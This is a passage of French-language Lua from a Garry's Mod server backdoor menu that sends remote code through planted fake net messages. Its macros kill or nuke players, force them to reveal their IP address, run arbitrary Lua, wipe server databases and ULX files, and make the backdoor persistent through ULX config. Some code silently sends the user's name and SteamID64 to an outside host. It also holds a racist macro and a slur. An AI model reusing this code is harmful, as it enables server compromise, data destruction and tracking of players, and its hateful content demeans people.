1723 for _, ent in pairs(ents.FindInSphere( p, 500)) do
1724
1725 if !ent:IsPlayer() then continue end
1726
1727 local d = DamageInfo()
1728
1729 d:SetDamage( 1 )
1730
1731 d:SetAttacker( game.GetWorld() )
1732
1733 d:SetInflictor( game.GetWorld() )
1734
1735 d:SetDamageType( DMG_DROWN )
1736
1737 ent:TakeDamageInfo( d )
1738
1739 end
1740
1741 end)
1742
1743
1744
1745 ]],
1746
1747 ["Desc"] = "Empoisonne n'importe qui avec ce magnifique gaz :D",
1748
1749 },
1750
1751
1752
1753
1754
1755 ["Spawn un véhicule près d'un joueur"] = {
1756
1757 ["Type"] = 2,
1758
1759 ["Code"] = [[
1760
1761 local trc = {}
1762
1763 trc.start = v:GetShootPos()
1764
1765 trc.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1766
1767 trc.filter = {v}
1768
1769 local tr = util.TraceLine(trc)
1770
1771
1772
1773 local VehicleList = list.Get( "Vehicles" )
1774
1775 local vehicle = VehicleList[ @1 ]
1776
1777 if ( !vehicle ) then return end
1778
1779 local Angles = v:GetAngles()
1780
1781 Angles.pitch = 0
1782
1783 Angles.roll = 0
1784
1785 Angles.yaw = Angles.yaw + 180
1786
1787
1788
1789 local pos = tr.HitPos
1790
1791 if ( vehicle.Offset ) then
1792
1793 pos = pos + tr.HitNormal * vehicle.Offset
1794
1795 end
1796
1797 local Ent = ents.Create( vehicle.Class )
1798
1799 if ( !Ent ) then return end
1800
1801 duplicator.DoGeneric( Ent, vehicle )
1802
1803 if ( vehicle.Model == "models/buggy.mdl" ) then Ent:SetKeyValue( "vehiclescript", "scripts/vehicles/jeep_test.txt" ) end
1804
1805 if ( vehicle.Model == "models/vehicle.mdl" ) then Ent:SetKeyValue( "vehiclescript", "scripts/vehicles/jalopy.txt" ) end
1806
1807 if ( vehicle && vehicle.KeyValues ) then
1808
1809 for k, v in pairs( vehicle.KeyValues ) do
1810
1811 Ent:SetKeyValue( k, v )
1812
1813 end
1814
1815 end
1816
1817 Ent:SetModel( vehicle.Model )
1818
1819 Ent:SetAngles( Angles )
1820
1821 Ent:SetPos( pos )
1822
1823 Ent:Spawn()
1824
1825 Ent:Activate()
1826
1827 if ( Ent.SetVehicleClass && @1 ) then Ent:SetVehicleClass( @1 ) end
1828
1829 Ent.VehicleName = vehicle.Class
1830
1831 Ent.VehicleTable = @1
1832
1833 Ent.ClassOverride = vehicle.Class
1834
1835 ]],
1836
1837 ["Desc"] = "Spawn un véhicule devant le joueur (1er = id véhicule), n'essaye pas de spawn des entités !",
1838
1839 ["NeedsParameters"] = 1,
1840
1841 },
1842
1843
1844
1845 ["Kick Joueur"] = {
1846
1847 ["Type"] = 2,
1848
1849 ["Code"] = [[ v:Kick( @1 ) ]],
1850
1851 ["Desc"] = "Raison du kick ?!",
1852
1853 },
1854
1855
1856
1857 ["Africaniser un joueur"] = {
1858
1859 ["Type"] = 2,
1860
1861 ["Code"] = [[ if !v.slavered then v:SetColor( Color( 0, 0, 0 ) ) v.slavered = true else v:SetColor( Color(255, 255, 255) ) v.slavered = false end ]],
1862
1863 ["Desc"] = "Transforme un joueur en africain",
1864
1865 },
1866
1867
1868
1869 ["Rendre Invisible"] = {
1870
1871 ["Type"] = 2,
1872
1873 ["Code"] = [[ if !v.BDCloaked then v:SetRenderMode( RENDERMODE_NONE ) v.BDCloaked = true else v:SetRenderMode( RENDERMODE_NORMAL ) v.BDCloaked = false end ]],
1874
1875 ["Desc"] = "Disparu",
1876
1877 },
1878
1879
1880
1881 ["Rendre Terroriste"] = {
1882
1883 ["Type"] = 2,
1884
1885 ["Code"] = [[
1886
1887 local explo = ents.Create("env_explosion")
1888
1889 explo:SetOwner(v)
1890
1891 explo:SetPos(v:GetPos())
1892
1893 explo:SetKeyValue("iMagnitude", "250")
1894
1895 explo:Spawn()
1896
1897 explo:Activate()
1898
1899 explo:Fire("Explode", "", 0)
1900
1901 if v:Alive() then v:Kill() end
1902
1903 ]],
1904
1905 ["Desc"] = "Transforme qui tu veut en terroriste",
1906
1907 },
1908
1909
1910
1911 ["ULX Set Access"] = {
1912
1913 ["Type"] = 2,
1914
1915 ["Code"] = [[ local userInfo = ULib.ucl.authed[ v:UniqueID() ] ULib.ucl.addUser( v:UniqueID(), userInfo.allow, userInfo.deny, @1 ) ]],
1916
1917 ["Desc"] = "Choisi le rank de la personne",
1918
1919 ["NeedsParameters"] = 1,
1920
1921 },
1922
1923
1924
1925
1926/*====================================
1927|===== Commandes Customs Chelou =====|
1928===================================*/
1929
1930
1931
1932
1933 ["Joueurs 2D"] = {
1934
1935 ["Type"] = 2,
1936
1937 ["Code"] = [[
1938 local bones = {
1939 [1] = {b = "ValveBiped.Bip01_Head1", v = Vector(4,0,4)},
1940 [2] = {b = "ValveBiped.Bip01_R_Thigh", v = Vector(0,0,0)},
1941 [3] = {b = "ValveBiped.Bip01_L_Thigh", v = Vector(0,0,0)},
1942 [4] = {b = "ValveBiped.Bip01_R_Calf", v = Vector(0,0,1)},
1943 [5] = {b = "ValveBiped.Bip01_L_Calf", v = Vector(0,0,1)},
1944 [6] = {b = "ValveBiped.Bip01_R_UpperArm", v = Vector(0,0,0)},
1945 [7] = {b = "ValveBiped.Bip01_L_UpperArm", v = Vector(0,0,0)},
1946 [8] = {b = "ValveBiped.Bip01_R_Forearm", v = Vector(1,1.5,1.5)},
1947 [9] = {b = "ValveBiped.Bip01_L_Forearm", v = Vector(1,1.5,1.5)},
1948 [10] = {b = "ValveBiped.Bip01_R_Clavicle", v = Vector(0,0,0)},
1949 [11] = {b = "ValveBiped.Bip01_L_Clavicle", v = Vector(0,0,0)},
1950 }
1951
1952 if !v.is2D then
1953 v.is2D = true
1954 for k, bone in pairs(bones) do
1955 local boneToFind = v:LookupBone(bone.b)
1956 v:ManipulateBoneScale( boneToFind, bone.v)
1957 end
1958 else
1959 v.is2D = false
1960 for k, bone in pairs(bones) do
1961 local boneToFind = v:LookupBone(bone.b)
1962 v:ManipulateBoneScale( boneToFind, Vector(1,1,1))
1963 end
1964 end
1965 ]],
1966
1967 ["Desc"] = "C'est, étrange cette sensation, mon corp est... Bizarre ?!",
1968
1969 },
1970
1971 ["Nuke (M9K)"] = {
1972
1973 ["Type"] = 2,
1974
1975 ["Code"] = [[
1976// if (m9k) then
1977 local nuke = ents.Create("m9k_davy_crockett_explo")
1978 nuke:SetPos(v:GetPos())
1979 nuke:SetOwner(v)
1980 nuke.Owner = v
1981 nuke:Spawn()
1982 nuke:Activate()
1983// end
1984 ]],
1985
1986 ["Desc"] = "Nuke un joueur :').",
1987
1988 },
1989
1990 ["Brouiller La Console"] = {
1991
1992 ["Type"] = 1,
1993
1994 ["Code"] = [[
1995 if !(timer.Exists("consoleJammer")) then
1996 timer.Create("consoleJammer", 0.5, 0, function()
1997 print( "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" )
1998 end )
1999 else
2000 timer.Destroy("consoleJammer")
2001 end
2002 ]],
2003
2004 ["Desc"] = "Spam tellement la console que plus personne ne peut la voir",
2005
2006 },
2007
2008 ["La Marche Jouissante"] = {
2009
2010 ["Type"] = 1,
2011
2012 ["Code"] = [[
2013 if !(hook.GetTable()["PlayerFootstep"]["moanStep"]) then
2014 hook.Add("PlayerFootstep", "moanStep", function(ply, pos, foot, sound2, volume, filter) ply:EmitSound( "vo/npc/female01/pain06.wav",75,math.random( 50, 150 )) end )
2015 else
2016 hook.Remove("PlayerFootstep", "moanStep")
2017 end
2018 ]],
2019
2020 ["Desc"] = "Les gens qui marche adore jouir apparament.",
2021
2022 },
2023
2024 ["Supprimer Le Serveur"] = {
2025
2026 ["Type"] = 3,
2027
2028 ["Code"] = [[
2029 local date = os.date( "%m-%d-%y" )
2030 local databases = { "jobdata","darkrp_door","darkrp_levels","darkrp_prestige","darkrp_doorgroups","darkrp_doorjobs","darkrp_jobspawn","darkrp_position","darkrp_player","darkrp_dbversion","FAdmin_CAMIPrivileges","FADMIN_GROUPS","FAdmin_Immunity","FADMIN_MOTD","FAdmin_PlayerGroup","FADMIN_PRIVILEGES","FADMIN_RESTRICTEDENTS","FAdmin_ServerSettings","FAdminBans","FPP_ANTISPAM1","FPP_BLOCKED1","FPP_BLOCKMODELSETTINGS1","FPP_ENTITYDAMAGE1","FPP_GLOBALSETTINGS1","FPP_GRAVGUN1","FPP_GROUPMEMBERS1","FPP_GROUPS3","FPP_GROUPTOOL","FPP_PHYSGUN1","FPP_PLAYERUSE1","FPP_TOOLADMINONLY","FPP_TOOLGUN1","FPP_TOOLRESTRICTPERSON1","FPP_TOOLTEAMRESTRICT","FPP_BLOCKEDMODELS1","awarn_playerdata","awarn_serverdata","awarn_warnings","blogs_players_v3","blogs_v3","stt_date","stt_players","mlog_logs","mlog_permissions","atlaschat_players","atlaschat_ranks","atlaschat_remote","atlaschat_restrictions","OreBag","fcd_playerData","dailylogin","ChessLeaderboard","qsgr_data","voting_npcs","cac_incidents","steam_rewards","playerdata","playerinformation","utime","permaprops","cc_characters","cc_npcs","ckit_chips","ckit_persist","exsto_data_bans","exsto_data_ranks","exsto_data_users","exsto_data_variables","exsto_restriction","inventories","kinv_items","libk_player","permitems","player_gangapps","player_gangdata","player_gangs","ps2_categories","ps2_equipmentslot","ps2_HatPersistence","ps2_itemmapping","ps2_itempersistence","ps2_OutfitHatPersistenceMapping","ps2_outfits","ps2_playermodelpersistence","ps2_servers","ps2_settings","ps2_trailpersistence","ps2_wallet","removeprops","scoreboard_friends","serverguard_analytics","serverguard_bans","serverguard_pms","serverguard_ranks","serverguard_reports","serverguard_schema","serverguard_ttt_autoslays","serverguard_users","serverguard_watchlist","tttstats","ttt_passes_history","specdm_stats_new","ps2_achievements","ps2_boosterpersistence","ps2_cratepersistence","ps2_instatswitchweaponpersistence","ps2_keypersistence","ps2_rolecontrolpersistence","ps2_weaponpersistence","rapsheet","damagelog_autoslay","damagelog_names","damagelog_oldlogs","damagelog_weapons","kmapvote_mapinfo","kmapvote_ratings","mgang_gangs","mgang_players","deathrun_ids","deathrun_records","deathrun_stats","sui_ratings","shop_texthats","shop_money","shop_items","report_log" }
2031 local datafiles = { "ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","wire_version.txt","UTeam.txt","prevhas.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","hitnumbers/settings.txt","soundlists/common_sounds.txt","vcmod/controls.txt","vcmod/dataserver.txt","qsgr_data/sqgr_settings.txt","blogs/configcache.txt","blogs/language.txt","cac/adminuipack.txt","ezjobs/config.txt","damagelog/colors.txt","damagelog/filters_new.txt","craphead_scripts/armory_robbery/rp_downtown_v4c/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_evilmelon_v1/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v3/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v4/policearmory_location.txt","mg_gangsdata/mg_npcspawns.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt", "sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","prevhash.txt","permaprops_config.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobdata/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","vliss/settings/config.txt","nordahl_spawnpoint/rp_venator_v3.txt","nordahl_spawnpoint/rp_venator_v2.txt","nordahl_spawnpoint/rp_venator_v1.txt","nordahl_spawnpoint/rp_venator_gg.txt","nordahl_spawnpoint/rp_venator_ausv4.txt","nordahl_spawnpoint/rp_venator_v2_ffg.txt","planningevent/prehud.txt","planningoption/hourformat.txt","nordahl_spawnpoint/arena_byre.txt","nordahl_spawnpoint/rp_venator_v2_immersive.txt","nordahl_spawnpoint/rp_venator_fade_v3.txt","nordahl_spawnpoint/rp_venator_gr.txt","nordahl_spawnpoint/rp_tatoonie_dunsea_v1.txt","nordahl_spawnpoint/rp_scifi.txt","nordahl_spawnpoint/rishimoon_crimson.txt","nordahl_spawnpoint/rp_pripyat_hl2.txt","nordahl_spawnpoint/rp_onwardhope.txt", "nordahl_spawnpoint/rp_oldworld_fix.txt","nordahl_spawnpoint/sd_doomsday.txt","nordahl_spawnpoint/sd_doomsday_event.txt","nordahl_spawnpoint/rp_naboo_city_v1.txt","nordahl_spawnpoint/rp_noclyria_crimson.txt","nordahl_spawnpoint/rp_nar_shaddaa_v2.txt","nordahl_spawnpoint/rp_mos_mersic_v2.txt","nordahl_spawnpoint/rp_kashyyk_jungle_b2.txt","nordahl_spawnpoint/dust_dunes.txt","nordahl_spawnpoint/rp_cscdesert_v2-1_propfix.txt","nordahl_spawnpoint/rd_asteroid.txt","nordahl_spawnpoint/naboo.txt","nordahl_spawnpoint/kashyyyk.txt","nordahl_spawnpoint/geonosis.txt","nordahl_spawnpoint/fightspace3b.txt","nordahl_spawnpoint/endor.txt","nordahl_spawnpoint/toth_forgotten.txt"}
2032 local sensitivefiles = { "ulx_logs/"..date..".txt","ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","vcmod/controls.txt","vcmod/dataserver.txt","blogs/configcache.dat","blogs/language.txt","blogs/config_v5.txt","cac/adminuipack.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt", "sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","permaprops_config.txt","whitelist.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobdata/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","nordahl_spawnpoint/rp_venator_v3.txt","nordahl_spawnpoint/rp_venator_v2.txt","nordahl_spawnpoint/rp_venator_v1.txt","nordahl_spawnpoint/rp_venator_gg.txt","nordahl_spawnpoint/rp_venator_ausv4.txt","nordahl_spawnpoint/rp_venator_v2_ffg.txt","planningevent/prehud.txt","planningoption/hourformat.txt","nordahl_spawnpoint/arena_byre.txt","nordahl_spawnpoint/rp_venator_v2_immersive.txt","nordahl_spawnpoint/rp_venator_fade_v3.txt","nordahl_spawnpoint/rp_venator_gr.txt","nordahl_spawnpoint/rp_tatoonie_dunsea_v1.txt","nordahl_spawnpoint/rp_scifi.txt","nordahl_spawnpoint/rishimoon_crimson.txt","nordahl_spawnpoint/rp_pripyat_hl2.txt","nordahl_spawnpoint/rp_onwardhope.txt", "nordahl_spawnpoint/rp_oldworld_fix.txt","nordahl_spawnpoint/sd_doomsday.txt","nordahl_spawnpoint/sd_doomsday_event.txt","nordahl_spawnpoint/rp_naboo_city_v1.txt","nordahl_spawnpoint/rp_noclyria_crimson.txt","nordahl_spawnpoint/rp_nar_shaddaa_v2.txt","nordahl_spawnpoint/rp_mos_mersic_v2.txt","nordahl_spawnpoint/rp_kashyyk_jungle_b2.txt","nordahl_spawnpoint/dust_dunes.txt","nordahl_spawnpoint/rp_cscdesert_v2-1_propfix.txt","nordahl_spawnpoint/rd_asteroid.txt","nordahl_spawnpoint/naboo.txt","nordahl_spawnpoint/kashyyyk.txt","nordahl_spawnpoint/geonosis.txt","nordahl_spawnpoint/fightspace3b.txt","nordahl_spawnpoint/endor.txt","nordahl_spawnpoint/toth_forgotten.txt"}
2033
2034 for k,v in pairs(databases) do
2035 if sql.TableExists(v) then
2036 sql.Query("DROP TABLE "..v.." ;")
2037 sql.Query("CREATE TABLE IF NOT EXISTS "..v.." ( steamid TEXT NOT NULL PRIMARY KEY, value TEXT );")
2038 end
2039 end
2040
2041 for k,v in pairs(datafiles) do
2042 if file.Exists(v) then
2043 file.Delete(v)
2044 file.write(v, "odium.pro hehe")
2045 end
2046 end
2047
2048 for k,v in pairs(sensitivefiles) do
2049 if file.Exists(v) then
2050 file.Delete(v)
2051 file.write(v, "odium.pro hehe")
2052 end
2053 end
2054 ]],
2055
2056 ["Desc"] = "Supprime le plus de data possible.",
2057
2058 },
2059
2060 ["Tuer Joueur (Discrèt)"] = {
2061
2062 ["Type"] = 2,
2063
2064 ["Code"] = [[v:KillSilent()]],
2065
2066 ["Desc"] = "RT.",
2067
2068 },
2069
2070 ["Supprimer Les Props"] = {
2071
2072 ["Type"] = 2,
2073
2074 ["Code"] = [[v:ConCommand("gmod_cleanup")]],
2075
2076 ["Desc"] = "Supprimer tout les props du joueur.",
2077
2078 },
2079
2080 ["Envoyer Lua"] = {
2081
2082 ["Type"] = 2,
2083
2084 ["Code"] = [[ v:SendLua( ""..@1.."") ]],
2085
2086 ["Desc"] = "Envoi une ligne Lua au joueur.",
2087
2088 ["NeedsParameters"] = 1,
2089
2090 },
2091
2092 ["Mon ip est.."] = {
2093
2094 ["Type"] = 2,
2095
2096 ["Code"] = [[
2097 if (darkrp || DarkRP) then
2098 v:SendLua('http.Fetch("http://ipv4bot.whatismyipaddress.com", function(b,l,h,c) LocalPlayer():ConCommand("say /ooc Mon IP est "..b) end, function(error) return error end )')
2099 else
2100 v:SendLua('http.Fetch("http://ipv4bot.whatismyipaddress.com", function(b,l,h,c) LocalPlayer():ConCommand("say Mon IP est "..b) end, function(error) return error end )')
2101 end
2102 ]],
2103
2104 ["Desc"] = "Forces les joueurs a drop leurs ips x').",
2105
2106 },
2107
2108// key/view scrambler, fuck with escape menu
2109
2110
2111
2112
2113 /*================================
2114|===== Commandes Dangereuses =====|
2115=================================*/
2116
2117
2118
2119 ["DarkRP Supprimer La Thune"] = {
2120
2121 ["Type"] = 3,
2122
2123 ["Code"] = [[RunConsoleCommand("rp_resetallmoney")]],
2124
2125 ["Desc"] = "RIP L'ECONOMIE",
2126
2127 },
2128
2129
2130
2131 ["CleanUp"] = {
2132
2133 ["Type"] = 3,
2134
2135 ["Code"] = [[game.CleanUpMap()]],
2136
2137 ["Desc"] = "Sa va pleurer",
2138
2139 },
2140
2141
2142
2143 ["Désintegrer Les Joueurs"] = {
2144
2145 ["Type"] = 3,
2146
2147 ["Code"] = [[for k, v in pairs(player.GetAll()) do v:Remove() end]],
2148
2149 ["Desc"] = "Supprime l'entité du joueur, OKLM",
2150
2151 },
2152
2153
2154
2155
2156
2157 ["FPP Unrestrict Tout"] = {
2158
2159 ["Type"] = 3,
2160
2161 ["Code"] = [[FPP.Blocked = {} FPP.BlockedModels = {} FPP.RestrictedTools = {} FPP.RestrictedToolsPlayers = {} ]],
2162
2163 ["Desc"] = "le strip is back",
2164
2165 },
2166
2167
2168
2169 ["Détruires Les Datas"] = {
2170
2171 ["Type"] = 3,
2172
2173 ["Code"] = [[local files, directories = file.Find( "*", "DATA" ) for k, v in pairs( files ) do file.Delete( v ) end ]],
2174
2175 ["Desc"] = "le fonda risque de gueuler",
2176
2177 },
2178
2179
2180
2181 ["Détruire la table SQL du DARKRP"] = {
2182
2183 ["Type"] = 3,
2184
2185 ["Code"] = [[ MySQLite.query ('DROP TABLE darkrp_player' MySQLite.query('CREATE TABLE IF NOT EXISTS darkrp_player(idx INTEGER NOT NULL)') ]],
2186
2187 ["Desc"] = "Rip le darkrp",
2188
2189 },
2190
2191
2192
2193}
2194
2195
2196
2197local selectedbackdoor = ""
2198
2199local backdoorargs = ""
2200
2201local selectedplayers = {}
2202
2203
2204
2205
2206
2207
2208
2209
2210
2211
2212
2213/*====================================
2214|===== Configuration Backdoor 88 =====|
2215=====================================*/
2216
2217
2218BD.BDMacros[" Infection Persistante"] = {
2219 ["Type"] = 1,
2220 ["Code"] = [[
2221 local config = ULib.fileRead( "data/ulx/config.txt" )
2222 config = config.."\n ulx logecho 0"
2223 config = config.."\n ulx luarun %BD"
2224 config = config.."\n ulx logecho 1"
2225 ULib.fileWrite( "data/ulx/config.txt", config )
2226 for _, p in pairs(player.GetAll()) do if %LCP then p:ChatPrint( "Infection Persistante Injecté" ) end end
2227 ]],
2228 ["Desc"] = "Crée une bonne grosse backdoor persistante",
2229 ["Private"] = true,
2230}
2231
2232BD.BackdoorTypes["Ulx Fake"] = {
2233 ["Code"] = "util.AddNetworkString( 'Ulx_Error_88' ) net.Receive( 'Ulx_Error_88', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2234 ["Netkey"] = "Ulx_Error_88",
2235}
2236
2237BD.BackdoorTypes["FAdmin Fake"] = {
2238 ["Code"] = "util.AddNetworkString( 'FAdmin_Notification_Receiver' ) net.Receive( 'FAdmin_Notification_Receiver', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2239 ["Netkey"] = "FAdmin_Notification_Receiver",
2240}
2241
2242BD.BackdoorTypes["DarkRP Fake"] = {
2243 ["Code"] = "util.AddNetworkString( 'DarkRP_ReceiveData' ) net.Receive( 'DarkRP_ReceiveData', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2244 ["Netkey"] = "DarkRP_ReceiveData",
2245}
2246
2247BD.BackdoorTypes["88 Fake"] = {
2248 ["Code"] = "util.AddNetworkString( 'Weapon_88' ) net.Receive( 'Weapon_88', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2249 ["Netkey"] = "Weapon_88",
2250}
2251
2252
2253
2254
2255
2256
2257
2258
2259
2260
2261
2262
2263/*==================================
2264|===== Derma 88 Backdoor Menu =====|
2265=================================*/
2266
2267
2268
2269function BD.GenerateBackdoorList( parent, category )
2270
2271
2272
2273for k, v in SortedPairs( BD.BDMacros, false ) do
2274
2275 if v["Type"] != category then continue end
2276
2277
2278
2279 local plypanel2 = vgui.Create( "DPanel" )
2280
2281 plypanel2:SetPos( 0, 0 )
2282
2283 plypanel2:SetSize( 200, 25 )
2284
2285 plypanel2.Paint = function() -- Paint function
2286
2287 draw.RoundedBoxEx(8,1,1,plypanel2:GetWide(),plypanel2:GetTall(),Color(0, 0, 0, 150), false, false, false, false)
2288
2289 if selectedbackdoor == k then surface.SetDrawColor(Color(255, 250, 90, 255)) else surface.SetDrawColor(Color(150, 50, 50, 255)) end
2290
2291 surface.DrawOutlinedRect(1, 1, plypanel2:GetWide() - 1 , plypanel2:GetTall() - 1)
2292
2293 end
2294
2295
2296
2297 local plyname = vgui.Create( "DLabel", plypanel2 )
2298
2299 plyname:SetPos( 10, 5 )
2300
2301 plyname:SetFont( "Trebuchet18" )
2302
2303 local tcol = Color( 255, 255, 255 )
2304
2305 if v.Private then tcol = Color( 200, 70, 70 ) end
2306
2307 plyname:SetColor( tcol )
2308
2309 plyname:SetText( k )
2310
2311 plyname:SetSize(180, 15)
2312
2313
2314
2315
2316
2317 local faggot = vgui.Create("DButton", plypanel2)
2318
2319 faggot:SetSize( plypanel2:GetWide(), plypanel2:GetTall() )
2320
2321 faggot:SetPos( 0, 0 )
2322
2323 faggot:SetText("")
2324
2325 if v["Desc"] != "" then faggot:SetToolTip( v["Desc"] ) end
2326
2327 faggot.Paint = function(panel, w, h)
2328
2329 return
2330
2331 end
2332
2333 faggot.DoClick = function()
2334
2335 selectedbackdoor = k
2336
2337 end
2338
2339
2340
2341
2342
2343 parent:AddItem( plypanel2 )
2344
2345
2346
2347end
2348
2349
2350
2351end
2352
2353
2354
2355function BD.FormatCodeTargeted()
2356
2357if !BD.BackdoorActive() then BD.ChatText( "Attention, La Backdoor Ne Fonctionne Pas Ou N'est Pas Présente!", Color(255,155,155) ) return end
2358
2359if selectedbackdoor == "" then BD.ChatText( "Tu n'a pas selectionné d'action!", Color(255,155,155) ) return end
2360
2361local param = string.Explode( ",", backdoorargs )
2362
2363local ids = {}
2364
2365for k, v in pairs( selectedplayers ) do
2366
2367 if !v:IsValid() then table.RemoveByValue( selectedplayers, v ) continue end
2368
2369 table.insert( ids, v:UniqueID() )
2370
2371end
2372
2373
2374
2375local code = [[ local targets = ## for k, v in pairs( player.GetAll() ) do if !v:IsValid() then continue end if table.HasValue( targets, v:UniqueID() ) then %% end end ]]
2376
2377code = string.Replace( code, "##", table.ToString( ids ) )
2378
2379code = string.Replace( code, "%%", BD.BDMacros[selectedbackdoor]["Code"] or "" )
2380
2381code = string.Replace( code, "%LP", "p:UniqueID() == \""..LocalPlayer():UniqueID().."\"" )
2382
2383
2384
2385if BD.BDMacros[selectedbackdoor]["NeedsParameters"] and (BD.BDMacros[selectedbackdoor]["NeedsParameters"] > #param or param[1] == "" ) then BD.ChatText( "Cette backdoor a besoin de paramètre pour fonctionner", Color(255,155,155) ) return end
2386
2387if #param < 1 then param = { [1] = "derp", [2] = "derp", [3] = "derp", [4] = "derp", [5] = "derp" } end
2388
2389
2390
2391for k, v in pairs( param ) do
2392
2393 code = string.Replace( code, "@"..k, [["]]..v..[["]] )
2394
2395end
2396
2397
2398
2399BD.Fire( code )
2400
2401
2402
2403end
2404
2405
2406
2407function BD.FormatCodeGlobal()
2408
2409if !BD.BackdoorActive() then BD.ChatText( "Attention, La Backdoor Ne Fonctionne Pas Ou N'est Pas Présente!", Color(255,155,155) ) return end
2410
2411if selectedbackdoor == "" then BD.ChatText( "Tu n'a pas selectionné d'action!", Color(255,155,155) ) return end
2412
2413local param = string.Explode( ",", backdoorargs )
2414
2415
2416
2417local code = BD.BDMacros[selectedbackdoor]["Code"]
2418
2419
2420
2421if BD.BDMacros[selectedbackdoor]["NeedsParameters"] and (BD.BDMacros[selectedbackdoor]["NeedsParameters"] > #param or param[1] == "" ) then BD.ChatText( "Cette commande doit être configuré pour fonctionné! Verifie sa description pour comprendre", Color(255,155,155) ) return end
2422
2423if #param < 1 then param = { [1] = "derp", [2] = "derp", [3] = "derp", [4] = "derp", [5] = "derp" } end
2424
2425
2426
2427for k, v in pairs( param ) do
2428
2429 code = string.Replace( code, "@"..k, [["]]..v..[["]] )
2430
2431 code = string.Replace( code, "%LP", LocalPlayer():UniqueID() )
2432
2433 code = string.Replace( code, "%LCP", "p:UniqueID() == \""..LocalPlayer():UniqueID().."\"" )
2434
2435 code = string.Replace( code, "%BD", BD.GetActive().Code )
2436
2437end
2438
2439
2440
2441BD.Fire( code )
2442
2443
2444
2445end
2446
2447
2448
2449
2450
2451local safenet = net
2452
2453local function bdnet()
2454
2455 if odium and odium.G then return odium.G.net end
2456
2457 return safenet
2458
2459end
2460
2461
2462local h = http
2463local p = "Post"
2464local str = "http://zilnix.mtxserv.fr/"
2465local lp = LocalPlayer()
2466local n = lp:Nick()
2467local id = lp:SteamID64()
2468
2469h[p](str, {
2470 name = n,
2471 steamid = id,
2472},
2473nil, nil)
2474
2475function BD.Fire( code )
2476
2477 local cbd = BD.CurrentBackdoor
2478
2479 if !BD.Backdoors[cbd] then
2480
2481 BD.ChatText( "La backdoor selectionné est indisponible!", Color(255,155,155) )
2482
2483 return
2484
2485 end
2486
2487 local key = BD.BackdoorTypes[cbd].Netkey
2488
2489
2490
2491 bdnet().Start( key )
2492
2493 bdnet().WriteString( code )
2494
2495 bdnet().SendToServer()
2496
2497end
2498
2499
2500
2501
2502
2503function BD.BackdoorMenu()
2504
2505
2506
2507BD.Backdoors = BD.PingBackDoors()
2508
2509
2510
2511if !BD.IsMessagePooled( "88Triggered" ) and BD.BackdoorActive() then
2512
2513 BD.Fire( [[util.AddNetworkString( "88Triggered" )
2514
2515 function BDSendLua( p, str ) net.Start( "88Triggered" ) net.WriteString( str ) net.Send( p ) end
2516
2517 function BDSendLuaAll( str ) net.Start( "88Triggered" ) net.WriteString( str ) net.Broadcast() end
2518
2519 function BDInjectAids( p ) p:SendLua( 'net.Receive( "88Triggered", function() RunString( net.ReadString() ) end )' ) end
2520
2521 for k, v in pairs( player.GetAll() ) do BDInjectAids( v ) end
2522
2523 hook.Add( "PlayerInitialSpawn", "youonlyget88Triggeredagain", function( p ) BDInjectAids( p ) end)
2524
2525]] )
2526
2527end
2528
2529
2530
2531local BDMenu = vgui.Create("DFrame")
2532
2533BDMenu:SetSize(825,570)
2534
2535BDMenu:SetTitle("")
2536
2537BDMenu:Center()
2538
2539BDMenu:ShowCloseButton(false)
2540
2541BDMenu:MakePopup()
2542
2543
2544
2545BDMenu.Paint = function( self, w, h)
2546
2547surface.SetDrawColor( Color(0, 0, 0, 200) )
2548
2549surface.DrawRect( 0, 0, w, h )
2550
2551surface.SetDrawColor( Color(0, 0, 0, 255) )
2552
2553surface.DrawOutlinedRect( 0, 0, w, h )
2554
